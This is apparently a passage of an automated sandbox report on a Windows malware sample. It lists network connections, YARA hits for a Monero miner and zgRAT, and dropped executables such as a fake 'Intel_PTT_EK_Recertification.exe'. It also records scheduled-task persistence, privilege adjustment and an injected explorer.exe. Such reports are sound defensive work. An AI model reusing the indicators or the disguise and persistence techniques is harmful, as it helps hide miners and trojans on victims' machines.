                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50060
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49965 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49937
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49977 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50081 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49868 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49977
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49855
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50087 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50106
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49974
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49895
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49970
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50060 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49891
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49929 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49946 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50100
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49988 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49879 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49960 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49855 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49915 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50072
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49929
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49969
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49886 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49923
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49999 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49965
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50088 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49886
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49863 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49960
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50011 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50110
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50096 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50110 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50081
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49937 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49915
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50100 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49879
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49955
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49999
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49891 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50006
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49874
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49923 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49969 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50087
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50093 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50088
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49874 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50058 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50072 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49983 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50093
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50096
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49907
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49955 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50006 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49907 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49993 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49946
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49868
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49988
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49855 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49863 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49868 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49874 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49879 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49886 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49895 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49907 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49915 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49923 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49929 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49937 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49946 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49955 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49960 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49965 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49983 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49987 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49988 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49993 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49999 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50006 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50011 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50072 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50081 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50088 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50093 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50096 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50100 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50106 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50110 version: TLS 1.2

                                      System Summary

                                      barindex
                                      Malicious sample detected (through community Yara rule)
                                      Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                                      Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects coinmining malware Author: ditekSHen
                                      Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                                      Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects coinmining malware Author: ditekSHen
                                      Binary is likely a compiled AutoIt script file
                                      Source: 0d11b39aa9.exe, 0000002D.00000002.3439364577.0000000000D02000.00000002.00000001.01000000.00000014.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_7bc8967a-c
                                      Source: 0d11b39aa9.exe, 0000002D.00000002.3439364577.0000000000D02000.00000002.00000001.01000000.00000014.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_4474db6d-f
                                      Drops password protected ZIP file
                                      Source: file.bin.7.drZip Entry: encrypted
                                      PE file contains section with special chars
                                      Source: file.exeStatic PE information: section name:
                                      Source: file.exeStatic PE information: section name: .idata
                                      Source: skotes.exe.0.drStatic PE information: section name:
                                      Source: skotes.exe.0.drStatic PE information: section name: .idata
                                      Source: random[1].exe.6.drStatic PE information: section name:
                                      Source: random[1].exe.6.drStatic PE information: section name: .idata
                                      Source: random[1].exe.6.drStatic PE information: section name:
                                      Source: fd98346557.exe.6.drStatic PE information: section name:
                                      Source: fd98346557.exe.6.drStatic PE information: section name: .idata
                                      Source: fd98346557.exe.6.drStatic PE information: section name:
                                      Source: random[1].exe0.6.drStatic PE information: section name:
                                      Source: random[1].exe0.6.drStatic PE information: section name: .idata
                                      Source: random[1].exe0.6.drStatic PE information: section name:
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name:
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: .idata
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name:
                                      Source: random[2].exe.6.drStatic PE information: section name:
                                      Source: random[2].exe.6.drStatic PE information: section name: .idata
                                      Source: d173cd9705.exe.6.drStatic PE information: section name:
                                      Source: d173cd9705.exe.6.drStatic PE information: section name: .idata
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess Stats: CPU usage > 49%
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess Stats: CPU usage > 49%
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006B96AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,11_2_006B96AC
                                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\skotes.jobJump to behavior
                                      Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_008A78BB0_2_008A78BB
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_008A70490_2_008A7049
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_008A88600_2_008A8860
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_008A31A80_2_008A31A8
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00864B300_2_00864B30
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00864DE00_2_00864DE0
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_008A2D100_2_008A2D10
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_008A779B0_2_008A779B
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00897F360_2_00897F36
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AC78BB2_2_00AC78BB
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AC88602_2_00AC8860
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AC70492_2_00AC7049
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AC31A82_2_00AC31A8
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00A84B302_2_00A84B30
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00A84DE02_2_00A84DE0
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AC2D102_2_00AC2D10
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AC779B2_2_00AC779B
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00AB7F362_2_00AB7F36
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AC78BB3_2_00AC78BB
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AC88603_2_00AC8860
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AC70493_2_00AC7049
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AC31A83_2_00AC31A8
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00A84B303_2_00A84B30
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00A84DE03_2_00A84DE0
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AC2D103_2_00AC2D10
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AC779B3_2_00AC779B
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00AB7F363_2_00AB7F36
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006DF13E11_2_006DF13E
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006D545811_2_006D5458
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006D24C011_2_006D24C0
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006D47AC11_2_006D47AC
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006F881711_2_006F8817
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006C0DCC11_2_006C0DCC
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006BB11411_2_006BB114
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006BF1B411_2_006BF1B4
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006CC27811_2_006CC278
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006E257811_2_006E2578
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006F352811_2_006F3528
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006E066E11_2_006E066E
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006DD66C11_2_006DD66C
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006CD85811_2_006CD858
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006D694C11_2_006D694C
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006E79DC11_2_006E79DC
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006F49A511_2_006F49A5
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006E99B811_2_006E99B8
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006FDA3011_2_006FDA30
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006EFA0C11_2_006EFA0C
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006C7C6811_2_006C7C68
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006FDC1111_2_006FDC11
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006C8CA811_2_006C8CA8
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006FDD0011_2_006FDD00
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006D6E0811_2_006D6E08
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006CAF5811_2_006CAF58
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006B8F1811_2_006B8F18
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeProcess token adjusted: SecurityJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeCode function: String function: 008780C0 appears 130 times
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 00A9DF80 appears 36 times
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: String function: 00A980C0 appears 260 times
                                      Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                                      Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                                      Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                                      Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                                      Source: file.exeStatic PE information: Section: ZLIB complexity 0.9984300493869209
                                      Source: skotes.exe.0.drStatic PE information: Section: ZLIB complexity 0.9984300493869209
                                      Source: random[1].exe.6.drStatic PE information: Section: ypghfgdd ZLIB complexity 0.9943475525043303
                                      Source: fd98346557.exe.6.drStatic PE information: Section: ypghfgdd ZLIB complexity 0.9943475525043303
                                      Source: random[1].exe0.6.drStatic PE information: Section: ZLIB complexity 0.9973980629280822
                                      Source: random[1].exe0.6.drStatic PE information: Section: kohmmiqt ZLIB complexity 0.9946014142824358
                                      Source: 1f3cab3382.exe.6.drStatic PE information: Section: ZLIB complexity 0.9973980629280822
                                      Source: 1f3cab3382.exe.6.drStatic PE information: Section: kohmmiqt ZLIB complexity 0.9946014142824358
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, Ca01BQGh9DxiBOJwup.csCryptographic APIs: 'CreateDecryptor'
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, Ca01BQGh9DxiBOJwup.csCryptographic APIs: 'CreateDecryptor'
                                      Source: 35.2.1eb4b174fd.exe.5430000.4.raw.unpack, vUrPAo.csCryptographic APIs: 'TransformFinalBlock'
                                      Source: classification engineClassification label: mal100.troj.spyw.evad.mine.winEXE@117/48@23/12
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006BAC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,11_2_006BAC74
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006C1D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,11_2_006C1D04
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006BABB0 GetModuleHandleW,GetProcAddress,GetDiskFreeSpaceW,11_2_006BABB0
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exeJump to behavior
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5352:120:WilError_03
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeMutant created: NULL
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1784:120:WilError_03
